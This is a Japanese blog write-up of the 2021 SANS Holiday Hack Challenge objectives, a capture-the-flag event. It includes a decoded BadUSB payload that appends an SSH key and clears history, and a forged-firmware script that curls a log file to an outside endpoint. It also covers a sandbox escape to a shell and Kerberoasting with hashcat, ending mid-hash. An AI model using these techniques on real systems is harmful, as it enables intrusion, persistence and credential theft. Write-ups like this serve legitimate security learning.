好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

2021 SANS Holiday Hack Challenge writeup [Objectives]

2021 SANS Holiday Hack の Objective の writeup です。English report sis here.
イベントの紹介や他のchallengeのwriteup、はこちらの記事へ。

tech.kusuwada.com

1) KringleCon Orientation

Get your bearings at KringleCon

この問題は、SANS Holiday Hack 初参加の人向けのオリエンテーションで、どうやって情報を集めるか、課題を見つけて取り組むか、アイテムの使い方、みたいなところを教えてくれます。
今年で二回目のチャレンジだったので、気がついたらこのObjectiveを達成していた。

2) Where in the World is Caramel Santaigo?

Help Tangle Coalbox find a wayward elf in Santa's courtyard. Talk to Piney Sappington nearby for hints.

Tangle Coalboxの近くのterminalをつけるとこんな感じ。

f:id:kusuwada:20220106223618p:plain:w400

WHERE IN THE WORLD IS CARAMEL SANTAIGO?

Welcome! In this game you will analyze clues and track an elf around the world. Put clues about your elf in your InterRink portal. Depart by sleigh once you've figured out your next stop. Be sure to get there by Sunday, gumshoe. Good luck!

エルフとの会話からして、OSINT問題のようです。
Investigateで得られる情報から、エルフの特徴と次に行った場所の情報を得つつ、Depart by sleighで次の目的地に旅立ちます。情報が全部揃ったらVisit InterRinkでElfの情報を入力して該当するエルフの名前を取得。次に行く地は地名や緯度経度、観光名所などでヒントが出ていました。

下記がエルフに関する情報で得られたヒントです。Challangeする度に内容が変わるっぽい。

  • The elf mentioned something about Stack Overflow and C#
  • Oh, I noticed they had a Star Trek themed phone case.
  • The elf got really heated about using spaces for indents.

これらの情報でエルフをフィルタすると、Sparkle Redberryだけが残ったのでこの子が答え。

3) Thaw Frost Tower's Entrance

Turn up the heat to defrost the entrance to Frost Tower. Click on the Items tab in your badge to find a link to the Wifi Dongle's CLI interface. Talk to Greasy Gopherguts outside the tower for tips.

Greasy GopherGuts に話しかけるとこんな感じ。

Scanning for Wi-Fi networks with iwlist will be location-dependent. You may need to move around the North Pole and keep scanning to identify a Wi-Fi network.

そう言えばWifi Dongleというアイテムを拾っていたので、近くをウロウロしながらnetworkをscanしてみます。
彼の近くの怪しげな閉じているドアの前で反応がありました!

$ iwlist scanning
wlan0     Scan completed :
          Cell 01 - Address: 02:4A:46:68:69:21
                    Frequency:5.2 GHz (Channel 40)
                    Quality=48/70  Signal level=-62 dBm  
                    Encryption key:off
                    Bit Rates:400 Mb/s
                    ESSID:"FROST-Nidus-Setup"

詳細を見てみます。

$ iwconfig wlan0
wlan0     IEEE 802.11  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=22 dBm   
          Retry:off   RTS thr:off   Fragment thr=7 B   
          Power Management:on

接続してみます。

$ iwconfig wlan0 essid FROST-Nidus-Setup
** New network connection to Nidus Thermostat detected! Visit http://nidus-setup:8080/ to complete setup
(The setup is compatible with the 'curl' utility)

やったー!wifiに繋がりました。サーバーのURLが記載されているので確認してみます。

$ curl http://nidus-setup:8080/
◈──────────────────────────────────────────────────────────────────────────────◈

Nidus Thermostat Setup

◈──────────────────────────────────────────────────────────────────────────────◈

WARNING Your Nidus Thermostat is not currently configured! Access to this
device is restricted until you register your thermostat » /register. Once you
have completed registration, the device will be fully activated.

In the meantime, Due to North Pole Health and Safety regulations
42 N.P.H.S 2600(h)(0) - frostbite protection, you may adjust the temperature.

API

The API for your Nidus Thermostat is located at http://nidus-setup:8080/apidoc

API documentを確認してみます。

$ curl http://nidus-setup:8080/apidoc
◈──────────────────────────────────────────────────────────────────────────────◈

Nidus Thermostat API

◈──────────────────────────────────────────────────────────────────────────────◈

The API endpoints are accessed via:

http://nidus-setup:8080/api/<endpoint>

Utilize a GET request to query information; for example, you can check the
temperatures set on your cooler with:

curl -XGET http://nidus-setup:8080/api/cooler

Utilize a POST request with a JSON payload to configuration information; for
example, you can change the temperature on your cooler using:

curl -XPOST -H 'Content-Type: application/json' \
  --data-binary '{"temperature": -40}' \
  http://nidus-setup:8080/api/cooler


● WARNING: DO NOT SET THE TEMPERATURE ABOVE 0! That might melt important furniture

Available endpoints

┌─────────────────────────────┬────────────────────────────────┐
│ Path                        │ Available without registering? │ 
├─────────────────────────────┼────────────────────────────────┤
│ /api/cooler                 │ Yes                            │ 
├─────────────────────────────┼────────────────────────────────┤
│ /api/hot-ice-tank           │ No                             │ 
├─────────────────────────────┼────────────────────────────────┤
│ /api/snow-shower            │ No                             │ 
├─────────────────────────────┼────────────────────────────────┤
│ /api/melted-ice-maker       │ No                             │ 
├─────────────────────────────┼────────────────────────────────┤
│ /api/frozen-cocoa-dispenser │ No                             │ 
├─────────────────────────────┼────────────────────────────────┤
│ /api/toilet-seat-cooler     │ No                             │ 
├─────────────────────────────┼────────────────────────────────┤
│ /api/server-room-warmer     │ No                             │ 
└─────────────────────────────┴────────────────────────────────┘

うおぉ、かっこいい…。
目的を思い出すと、ドアが凍っちゃうほど寒くなったので温めてあげるって話でしたっけ。
途中でcoolerの温度設定方法が書いてあったので、まずはそれを送ってみます。氷が溶ける…摂氏か華氏かわからんけどとりあえず0にしておこう。

$ curl -XPOST -H 'Content-Type: application/json' \
  --data-binary '{"temperature": 0}' \
  http://nidus-setup:8080/api/cooler

これでクリアできました👍氷が溶けてドアが空いたみたい。

4) Slot Machine Investigation

Test the security of Jack Frost's slot machines. What does the Jack Frost Tower casino security team threaten to do when your coin total exceeds 1000? Submit the string in the server data.response element. Talk to Noel Boetie outside Santa's Castle for help.

f:id:kusuwada:20220106223633p:plain

こんなスロットゲームが始まります。
普通に遊んでいるとちょっとコインを増やすことは出来ても1000までは全然届かない。

BurpSuiteで通信をProxyして、送っている値を改ざんしてみました。送っている値は

betamount=1&numline=20&cpl=0.1

こんな感じ。betamountをマイナス値にしたら怒られたので、cplの方をマイナス値(-100)に変えてみたところ、creditが増えてresponseに今までと違う値が返ってきました。

f:id:kusuwada:20220106223624p:plain

このresponseが答え。
最近BurpSuiteをTryHackMeのおかげで少しずつ使っているんだけど、CookieやHeader,sessionなどの情報をそのままに、ちゃちゃっと値だけ改ざんしてリクエストを送れるのがとても良い。今更だけど確かに必須ツールだ。

5) Strange USB Device

Assist the elves in reverse engineering the strange USB device. Visit Santa's Talks Floor and hit up Jewel Loggins for advice.

サンタベーターを登ってTalkRoomに行った奥の部屋(Speaker UNPreparation Room)にある、Strange USB Deviceという端末で作業します。

What is the troll username involved with this attack?

A random USB device, oh what could be the matter?
It seems a troll has left this, right on a silver platter.
Oh my friend I need your ken, this does not smell of attar.
Help solve this challenge quick quick, I shall offer no more natter.

Evaluate the USB data in /mnt/USBDEVICE.

状況を確認します。

$ ls
mallard.py*
$ ls /mnt/USBDEVICE/
inject.bin

このあたりが今回関係しそう。
pythonスクリプトの役割は何かしらのファイルの解析、使い方は --analysis_file オプションで解析対象ファイルを指定ということが分かったので実行してみます。

$ cp /mnt/USBDEVICE/inject.bin .                                             
$ python mallard.py --analysis_file inject.bin                               
ENTER                                                                                          
DELAY 1000                                                                                     
GUI SPACE                                                                                      
DELAY 500                                                                                      

...(omit)...

ENTER
DELAY 200
STRING echo "export PATH=~/.config/sudo:$PATH" >> ~/.bashrc
ENTER
DELAY 200
STRING echo ==gCzlXZr9FZlpXay9Ga0VXYvg2cz5yL+BiP+AyJt92YuIXZ39Gd0N3byZ2ajFmau4WdmxGbvJHdAB3bvd2Ytl3ajlGILFESV1mWVN2SChVYTp1VhNlRyQ1UkdFZopkbS1EbHpFSwdlVRJlRVNFdwM2SGVEZnRTaihmVXJ2ZRhVWvJFSJBTOtJ2ZV12YuVlMkd2dTVGb0dUSJ5UMVdGNXl1ZrhkYzZ0ValnQDRmd1cUS6x2RJpHbHFWVClHZOpVVTpnWwQFdSdEVIJlRS9GZyoVcKJTVzwWMkBDcWFGdW1GZvJFSTJHZIdlWKhkU14UbVBSYzJXLoN3cnAyboNWZ | rev | base64 -d | bash
ENTER
DELAY 600
STRING history -c && rm .bash_history && exit
ENTER
DELAY 600
GUI q

色々気になるところはあれど、一番怪しい最後の方の長いBase64のコマンドを実行してみます。

$ echo ==gCzlXZr9FZlpXay9Ga0VXYvg2cz5yL+BiP+AyJt92YuIXZ39Gd0N3byZ2ajFmau4WdmxGbvJHdAB3bvd2Ytl3ajlGILFESV1mWVN2SChVYTp1VhNlRyQ1UkdFZopkbS1EbHpFSwdlVRJlRVNFdwM2SGVEZnRTaihmVXJ2ZRhVWvJFSJBTOtJ2ZV12YuVlMkd2dTVGb0dUSJ5UMVdGNXl1ZrhkYzZ0ValnQDRmd1cUS6x2RJpHbHFWVClHZOpVVTpnWwQFdSdEVIJlRS9GZyoVcKJTVzwWMkBDcWFGdW1GZvJFSTJHZIdlWKhkU14UbVBSYzJXLoN3cnAyboNWZ | rev | base64 -d
echo 'ssh-rsa UmN5RHJZWHdrSHRodmVtaVp0d1l3U2JqZ2doRFRHTGRtT0ZzSUZNdyBUaGlzIGlzIG5vdCByZWFsbHkgYW4gU1NIIGtleSwgd2UncmUgbm90IHRoYXQgbWVhbi4gdEFKc0tSUFRQVWpHZGlMRnJhdWdST2FSaWZSaXBKcUZmUHAK ickymcgoop@trollfun.jackfrosttower.com' >> ~/.ssh/authorized_keys

最後に出てきてたuser名 ickymcgoop が解答。

6) Shellcode Primer

Complete the Shellcode Primer in Jack's office. According to the last challenge, what is the secret to KringleCon success? "All of our speakers and organizers, providing the gift of ____, free to the community." Talk to Chimney Scissorsticks in the NetWars area for hints.

f:id:kusuwada:20220106223652p:plain

こんなサイトが用意されています。ここでshellcodeの基本が学べるみたい。

1. Introduction

すでにあるコードを実行するだけ。実行すると、こんなページが出てきて、中でのstackの様子を段階を追って確認できます。

f:id:kusuwada:20220106223645p:plain

2. Loops

これもすでにあるコードを実行するだけ。

3. Getting Started

最後にreturn ret を追加するだけ

4. Returning a Value

raxに値を詰めてreturn。

; TODO: Set rax to 1337
mov rax, 1337

; Return, just like we did last time
ret

5. System Calls

System callの呼出番号は Linux System Call Table for x86 64 · Ryan A. Chapman を参考にする。
sys_exitは上記サイトにより60番ということがわかるので、60をraxに詰めて呼び出す。

; TODO: Find the syscall number for sys_exit and put it in rax
mov rax, 60
; TODO: Put the exit_code we want (99) in rdi
mov rdi, 99
; Perform the actual syscall
syscall

6. Calling Into the Void

コードを実行するだけ。ここで push, popの概念と挙動が確認できる。

7. Getting RIP

ラベルの貼り方と呼び出し方を学べる。

; Remember, this call pushes the return address to the stack
call place_below_the_nop

; This is where the function *thinks* it is supposed to return
nop

; This is a 'label' - as far as the call knows, this is the start of a function
place_below_the_nop:

; TODO: Pop the top of the stack into rax
pop rax

; Return from our code, as in previous levels
ret

8. Hello, World!

先程学んだラベルの定義と呼び出しを利用して、Hello Worldを返す。

; This would be a good place for a call

call place_hello

; This is the literal string 'Hello World', null terminated, as code. Except
; it'll crash if it actually tries to run, so we'd better jump over it!

db 'Hello World',0

; This would be a good place for a label and a pop

place_hello:
pop rax

; This would be a good place for a re... oh wait, it's already here. Hooray!

ret

9. Hello, World!!

今度は標準出力にHelloworldを出します。
先程のsyscall表により、 sys_write は1番。

; TODO: Get a reference to this string into the correct register

call place_hello
db 'Hello World!',0
place_hello:

; Set up a call to sys_write
; TODO: Set rax to the correct syscall number for sys_write

mov rax, 1

; TODO: Set rdi to the first argument (the file descriptor, 1)

mov rdi, 1

; TODO: Set rsi to the second argument (buf - this is the "Hello World" string)

pop rsi

; TODO: Set rdx to the third argument (length of the string, in bytes)

mov rdx, 12

; Perform the syscall
syscall

; Return cleanly
ret

10. Opening a File

ファイルをOpenする問題。ヒントの通り、9のsys_writesys_openにすれば良いので、Linux System Call Table for x86 64 · Ryan A. Chapman を見て組みます。

11. Reading a File

ファイルを開いて読み出す問題。

; TODO: Get a reference to this

call place_secret
db '/var/northpolesecrets.txt',0
place_secret:

; TODO: Call sys_open

mov rax, 2
pop rdi
mov rsi, 0
mov rdx, 0
syscall

; TODO: Call sys_read on the file handle and read it into rsp

mov rdi, rax
mov rax, 0
mov rsi, rsp
mov rdx, 500
syscall

; TODO: Call sys_write to write the contents from rsp to stdout (1)

mov rax, 1
mov rdi, 1
mov rsi, rsp
mov rdx, 500
syscall

; TODO: Call sys_exit

mov rax, 60
mov rdi, 0
syscall

これまでの小問で得た知識を合わせれば、大体の骨格はすぐに組み上がった。sys_readの引数を上記URLと問題文を参照して持ってくるのと、descripterがsys_openの戻り値、すなわちraxに入っているのでそこから引っ張ってくるのが肝っぽい。ちなみにraxの値を先に0に書き換えてしまうやつをやっていて少しハマってしまった。
sys_writeのときのlengthは長すぎてもOK的なことが書いてあったので500にしたが、?cheatクエリで想定解を見たところ、

mov rdx, rax

sys_readのときの読み込み長を持ってくることが出来たっぽい。

最後の課題をクリアしたところ、最後の課題の出力(Stdout)は

Secret to KringleCon success: all of our speakers and organizers, providing the gift of cyber security knowledge, free to the community.

となった。この中からObjectiveの虫食いのところを補足してあげればOK。

7) Printer Exploitation

Investigate the stolen Kringle Castle printer. Get shell access to read the contents of /var/spool/printer.log. What is the name of the last file printed (with a .xlsx extension)? Find Ruby Cyster in Jack's office for help with this objective.

f:id:kusuwada:20220106223659p:plain:w400

JackのOfficeに置いてあるプリンタを触ってみます。Ruby Cysterからもらったヒントは

  • まずファームウェアを見る
  • 沢山のファイルを追記すると、最後のが処理される
  • Hash Extension Attack
  • エラーメッセージは大事
  • 最後はshellにアクセスする

ということで、関係しそうなFirmware Updateのページを確認してみます。

f:id:kusuwada:20220106223705p:plain:w400

このページをつついているうちに、何やらjson形式のupdeteファイルをuploadする必要があるらしいことがわかる。
よくよく見てみると、一番下に Download current firmware というリンクが。
ここでDLしたファイルをいじってRCEするっぽい。

もとのfirmwareファイル firmware-export.json を見てみると、firmwareはbasee64でエンコードされており、signatureはSHA256。まずはfirmwareに何が書いてあるのかdecodeしてみます。

$ echo "(...略...)ZmlybXdhcmUuYmluVVQFAAO4dq5hdXgLAAEEAAAAAAQAAAAAUEsFBgAAAAABAAEAUgAAALAJAAAAAA==" | base64 -D > firmware
$ file firmware
firmware: Zip archive data, at least v2.0 to extract

zipファイルでした。解凍してみます。

$ unzip firmware
Archive:  firmware
  inflating: firmware.bin
$ file firmware.bin 
firmware.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fc77960dcdd5219c01440f1043b35a0ef0cce3e2, not stripped

実行ファイルだ。
色々つついているうちに(もしかしたら問題やヒントをちゃんと読めば書いてあったのかもしれないが)signatureのハッシュ値は16桁のsecret(不明)と添付のbinaryを合わせてhashしたものと推測される。
binaryだけのhashをとってどうも合わないなぁと悩んでいたけど合点。他のヒント、Hash Extension Attackにもつながる。

ヒントのHash length Extension Attackで紹介されていたリンク先を確認してみます。
今回やりたいことは、元データの <secret><original_data> とそのハッシュ値をもとに、 <secret><original_data><attack_payload> のハッシュ値を得ること。
ただし <secret> の中身は不明。ハッシュアルゴリズムはSHA256。
リンク先のサマリより抜粋。

TL;DR: given a hash that is composed of a string with an unknown prefix, an attacker can append to the string and produce a new hash that still has the unknown prefix.

日本語では

未知の接頭辞を持つ文字列で構成されたハッシュがあれば、攻撃者はその文字列に追加して、未知の接頭辞を持つ新しいハッシュを生成することができます。

これはまさに Hash length Extentions Attack が使えそう!
説明を読んでいくと、ツールの紹介が。

GitHub - iagox86/hash_extender

$ git clone https://github.com/iagox86/hash_extender.git
$ cd hash_extender
$ make
[CC] hash_extender.o
[CC] tiger.o
[CC] hash_extender_engine.o
[CC] test.o
[CC] buffer.o
[CC] util.o
[CC] formats.o
[LD] hash_extender
[CC] hash_extender_test.o
[LD] hash_extender_test
$ ./hash_extender --filie ../firmware.bin --secret 16 --append append --signature e0b5855c6dd61ceb1e0ae694e68f16a74adb6f87d1e9e2f78adfee688babcf23 --format sha256

適当な引数で実行してみると、それっぽいhashが生成されました。使えそう!
適当な実行ファイル append.bin を用意して、実際にexploitのjsonを作ってUploadしてみると

Firmware update failed:

Failed to parse the ZIP file: Could not extract firmware.bin from the archive:

$ unzip '/tmp/20211216-1-c5n6u1' 'firmware.bin' -d '/tmp/20211216-1-c5n6u1-out' 2>&1 && /tmp/20211216-1-c5n6u1-out/firmware.bin

Archive:  /tmp/20211216-1-c5n6u1
warning [/tmp/20211216-1-c5n6u1]:  2608 extra bytes at beginning or within zipfile
  (attempting to process anyway)
caution: filename not matched:  firmware.bin

的なエラー分が。攻撃用の実行ファイルも、もとと同じfirmware.binにしないと駄目っぽい。
最終的な攻撃用の実行ファイル fimware.bin がこちら。

curl -X POST [https://MY_ENDPOINT] --data-binary @/var/spool/printer.log

実行ファイルであれば何でも良さそうなので、まずはお手軽なshellscriptを書いてみた。
もしこれをFirmware Updateで実行してくれれば、自分の用意したEndpointに目的のファイルを送ってくれるはず。

用意したスクリプトをzipにして、新しいhashを計算してもらいます。
新しく用意したzipはhexで一度出力しておき、hash_extenderに喰わせるときはhex形式のデータで付与しました。

$ zip -r firmware.zip firmware.bin
$ xxd -p firmware.zip | tr -d '\n'
504b030414000000080008bb8f53(...omitted...)
$ ./hash_extender/hash_extender --file original_firmware.zip --secret 16 --signature e0b5855c6dd61ceb1e0ae694e68f16a74adb6f87d1e9e2f78adfee688babcf23 --format sha256 --append-format=hex --append "504b030414000000080008bb8f53(...omitted...)"

ここで出てきたsignatureをfirmware_exploit.jsonsignatureにセットし、stringをbase64 encodeしてfirmwareにセットします。
この状態でfirmware updateページからファイルをUploadし、暫く待つと用意したEndpointにアクセスがやってきました。

Documents queued for printing
=============================

Biggering.pdf
Size Chart from https://clothing.north.pole/shop/items/TheBigMansCoat.pdf
LowEarthOrbitFreqUsage.txt
Best Winter Songs Ever List.doc
Win People and Influence Friends.pdf
Q4 Game Floor Earnings.xlsx
Fwd: Fwd: [EXTERNAL] Re: Fwd: [EXTERNAL] LOLLLL!!!.eml
Troll_Pay_Chart.xlsx

最後のエクセルのファイル名が答え。やったー!
shellcode使わんかった…。shellcode検索したり作ったりしてだいぶ時間を溶かした…。
エンドポイント用意しなくても、ヒントで出てきた /app/lib/public/incoming 的なpathにファイルを置けば、webからアクセスできたのかも。

8) Kerberoasting on an Open Fire

Obtain the secret sleigh research document from a host on the Elf University domain. What is the first secret ingredient Santa urges each elf and reindeer to consider for a wonderful holiday season? Start by registering as a student on the ElfU Portal. Find Eve Snowshoes in Santa's office for hints.

まずは Santa's Officeに行ってEve Snowshoesに話しかけ、HOHO...No的なターミナルをやってみます。これはTerminal側のwriteupで
これを攻略すると、下記のヒントがもらえます。

  • Stored Credentials: Administrators often store credentials in scripts. These can be coopted by an attacker for other purposes!
  • Active Directory Interrogation: Investigating Active Directory errors is harder without Bloodhound, but there are native methods.
  • CeWL for Wordlist Creation: CeWL can generate some great wordlists from website, but it will ignore digits in terms by default.
  • Hashcat Mangling Rules: OneRuleToRuleThemAll.rule is great for mangling when a password dictionary isn't enough.
  • Kerberoasting and Hashcat Syntax: Learn about Kerberoasting to leverage domain credentials to get usernames and crackable hashes for service accounts.
  • Kerberoast and AD Abuse Talk: Check out Chris Davis' talk and scripts on Kerberoasting and Active Directory permissions abuse.
  • Finding Domain Controllers: There will be some 10.X.X.X networks in your routing tables that may be interesting. Also, consider adding -PS22,445 to your nmap scans to "fix" default probing for unprivileged scans.

ヒントが多い!AD,Kerberoas関連の問題のようです。
まずは、指定された課題のURLに行ってみます。

f:id:kusuwada:20220106223729p:plain:w300 f:id:kusuwada:20220106223720p:plain:w300

何やら登録画面が。
適当な情報で登録してみると、grades.elfu.org:2222への接続用UserとPasswordがもらえます。

ssh {username}@grades.elfu.org -p 2222
ElfU Domain Username: {username}
ElfU Domain Password: {password}
(Please save these credentials!)

早速接続してみると、アプリケーションが開きました。

f:id:kusuwada:20220106223725p:plain:w400

このアプリではコースとグレードが閲覧できます。大学の端末という設定だからかな。機能は以上っぽい。
このプログラムをmeenuから e で終了すると、接続も切れてしまう。Ctrl + Cで強制終了しようとすると、You may only type 'exit' to leave the exam!と怒られる。どうやら1つ目のチャレンジは、このアプリから抜け出して制御を手に入れることみたい。

色々試してみた所、Ctrl + D で pythonのinterpreter が立ち上がりました。これは使えそう。

>>> os.getcwd()
'/home/{username}'

binshを起動してしまえ。

>>> os.system('/bin/sh')
$
$ ls
core
$ pwd
/home/{username}

制御取れた!

次に何をしてよいかよくわからなかったので、ヒントのtalk movieを見たりマシンの中を探索したりしてみます。今回はAD関係の問題のようなので、Domain Controller を探すのが筋かな。

Finding Domain Controllers のヒントを参考に、まずは自分のrouting tableを確認してみます。

$ ip route
default via 172.17.0.1 dev eth0 
10.128.1.0/24 via 172.17.0.1 dev eth0 
10.128.2.0/24 via 172.17.0.1 dev eth0 
10.128.3.0/24 via 172.17.0.1 dev eth0 
172.17.0.0/16 dev eth0 proto kernel scope link src 172.17.0.2 

この 10.X.X.X に注目して、ヒントのオプションを付けてnmapしてみます。

$ nmap -PS22,445 10.128.1.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2021-12-31 08:37 UTC
Nmap scan report for hhc21-windows-linux-docker.c.holidayhack2021.internal (10.128.1.4)
Host is up (0.00019s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
2222/tcp open  EtherNetIP-1

Nmap scan report for hhc21-windows-dc.c.holidayhack2021.internal (10.128.1.53)
Host is up (0.00045s latency).
Not shown: 988 filtered ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server

この 10.128.1.53, DCとしての機能を備えてそう。
このマシンになんとか接続できないかなー、sshポートは開いてないしなー…。と眺めていると、見慣れない 135/tcp open msrpc というポートが目に付きました。調べてみると

135, 593 - Pentesting MSRPC - HackTricks

ここに良い記事が載っていた。

Microsoft Remote Procedure Callは、ファンクションコールまたはサブルーチンコールとも呼ばれ、あるプログラムが他のコンピュータ上のプログラムからのサービスを要求するために、そのコンピュータのネットワークの詳細を理解することなく、クライアントサーバーモデルを使用するプロトコルである。

更に msrpc と linux についてググっていると、 samba という単語が。このgradeマシンを探索しているときに、そう言えば samba という名前のモジュールが入っているっぽいことを確認していたのでした。他、rpcclientというのも使えそう。

ここを参考に接続。

$ rpcclient 10.128.1.53
Enter WORKGROUP\{username}'s password: 
rpcclient $>

繋がりました!
DomainUserの一覧や、Groupの一覧、SIDやRIDの取得や権限の取得ができます。

User一覧(一部)

rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[admin] rid:[0x3e8]
user:[elfu_admin] rid:[0x450]
user:[elfu_svc] rid:[0x451]
user:[remote_elf] rid:[0x452]
user:[ulyssesross] rid:[0x455]
user:[bobolson] rid:[0x457]
user:[raulpenrod] rid:[0x459]
...
user:[test] rid:[0x60f]
user:[qcljgnpsjl] rid:[0x610]
...

予め用意されていたと思われるUserと、share用のUser、registerサイトで登録したときに動的に作成されるUserが並んでいます。

Group一覧

rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44f]
group:[RemoteManagementDomainUsers] rid:[0x453]
group:[ResearchDepartment] rid:[0x454]
group:[File Shares] rid:[0x5e7]

Groupも結構たくさんある。

あとは、talk movie にも出てきた、shareを探してみます。rpcclientでも探せるけどsambaを使ってみました。

$ smbclient -L 10.128.3.30
Enter WORKGROUP\{username} password: 

    Sharename       Type      Comment
    ---------       ----      -------
    netlogon        Disk      
    sysvol          Disk      
    elfu_svc_shr    Disk      elfu_svc_shr
    research_dep    Disk      research_dep
    IPC$            IPC       IPC Service (Samba 4.3.11-Ubuntu)

これは先程nmapで出てきた別のIP。このコメント付きのshareが怪しい気がする。

ここで行き詰まって色々試してみましたが、もう一度動画をよく見ると、流れとしてはGetUserSPNsでKerberos認証用のpasswordハッシュを手に入れ、それをhashcatでcrackしています。他のヒントの傾向を見るに、これを試して見る価値はありそう。

この端末上にスクリプトを送り込む方法がわからなかったので、探してみます。

$ find . -name GetUserSPNs.py  2>&1 | grep -v "Permission denied"
./usr/local/bin/GetUserSPNs.py

あった!
ここで、LDAPサーバーのドメイン名がわからなかったのでもう一度nmapして調べます。

$ nmap -sT -Pn -n --open 10.128.1.53 -sV -p 389
Starting Nmap 7.80 ( https://nmap.org ) at 2022-01-07 10:32 UTC
Nmap scan report for 10.128.1.53
Host is up (0.0011s latency).

PORT    STATE SERVICE VERSION
389/tcp open  ldap    Microsoft Windows Active Directory LDAP (Domain: elfu.local0., Site: Default-First-Site-Name)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.38 seconds

elf.localだ。早速GetUserSPNsを実行してみます。オプションは動画と同じ。

$ python3 /usr/local/bin/GetUserSPNs.py -outputfile spns.txt -dc-ip 10.128.1.53 elfu.local/{username}:'{password}!' -request
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

ServicePrincipalName                 Name      MemberOf  PasswordLastSet             LastLogon                   Delegation 
-----------------------------------  --------  --------  --------------------------  --------------------------  ----------
ldap/elfu_svc/elfu                   elfu_svc            2021-10-29 19:25:04.305279  2021-12-31 12:03:28.706361             
ldap/elfu_svc/elfu.local             elfu_svc            2021-10-29 19:25:04.305279  2021-12-31 12:03:28.706361             
ldap/elfu_svc.elfu.local/elfu        elfu_svc            2021-10-29 19:25:04.305279  2021-12-31 12:03:28.706361             
ldap/elfu_svc.elfu.local/elfu.local  elfu_svc            2021-10-29 19:25:04.305279  2021-12-31 12:03:28.706361  

実行できたみたいです。成果物を見てみます。

$ cat spns.txt
$krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$5e4faad2759ffefe6f997b8c289d3549$6c9ca130f331117a83644edee72fa5a08cd2c9c6727e089c08a60a4...

動画と同じような出力です。どうやらelfu_svcUserのpassword hashが取得できたみたい。このファイルは自分のマシンにコピーしておきます。

この情報からhashcatでパスワードをクラックしたいのだけど、hash関連のヒントがいくつかある。ヒントから想像するに、hashcatを実行する際に

  • OneRuleToRuleThemAll.rule をruleとして指定する
  • CeWL を使って辞書を作成する
  • CeWL を使うときは、default設定では数値が含まれないので気をつける

というのが必要そう。
CeWLはwebsiteを指定すると、そこで使われている単語を拾ってきてくれるみたい。この問題で提供されているサイトは、最初の/registerサイトなので、これを指定して単語リストを作ってみます。

$ git clone https://github.com/digininja/CeWL.git
$ cd CeWL
$ ./cewl.rb https://register.elfu.org/register --with-numbers > ../cewl.txt

--with-numbers optionを入れると、数値もターゲットにしてくれるみたい。これでそれっぽいリストが完成しました。
ではhashcatをやってみます。オプションは動画と同じ、ヒントで指定されたものだけ買えてあります。

$ git clone https://github.com/NotSoSecure/password_cracking_rules.git
$ hashcat -m 13100 -a 0 spns.txt --potfile-disable -r password_cracking_rules/OneRuleToRuleThemAll.rule --force -O -w 4 --opencl-device-types 1,2 cewl.txt -o cracked.txt
hashcat (v6.1.1) starting...

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.
OpenCL API (OpenCL 2.0 pocl 1.8  Linux, None+Asserts, RELOC, LLVM 9.0.1, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================

...(omit)

$krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$5e4faad2759ffefe6f997b8c289d3549$6c9ca130f331117a83644edee72fa5a08cd2c9c6727e089c08a60a470f94554f0f837ebfd137ea47c0cdc517a0e9f644e9cfaf4f491878f50f63e7d14d945ced215fa22f1264e79b2667e2aee846e34d2e501191a6dfe0c3e8fdc394c4ed15592f869d9b43ebb9ba91774bb71ff8734c285a44ad89d1f35f58c0b9589cd1abf80db7cd48a0ee72156238cc350f80cde078bfc6403f23cf4e125c5dfa9c9b668a56c21164f8ff4285248914caaedf950ef2788e0b2e09033e8652163c3786c6c49983d8b05f36cb53ff04df0f357478af6ece50e9dd84b7ddb068666b14ce065085f7bdd339c9624bd3d1906c482f180d7dc19b455c9f3e231d5ace2afe76592b928d299cd98d6e22bde94fb244954c06397211d751eba8fa4f9a107bf0dd9790790bd45b270302d044e25d0547e55702846bd6655502624374772ddca39e6a62f5ee1d499cd1096af316d4f6dac2788e26ff8974697caa4539b097148890e8cee3b1dee201a16de4054d9c8876c27d249fa8421819a6f94fc7a8b6ee6d8c652f344bd65cef035682a2019c2dcbb31efa945eebc0cb7a3b1f0c09b6af491b6895a862c5d20d599a43c2699a276362f5656f80e4ea695afc5f0a064de6dbd190574fcfebd26719664cbac06c5cfe12bfd085676d0314ebeaaa27641e4e2b32835d488bacfb593fb635bc506af2b68000f64aafb5406622907102b44c357745d24219e6f82f59f3eade12664586f6e7fcb17f58741547f34a85baa638a203551c82adaeabe16fd0cc2d7026114b56738c28884c69a7e1259fd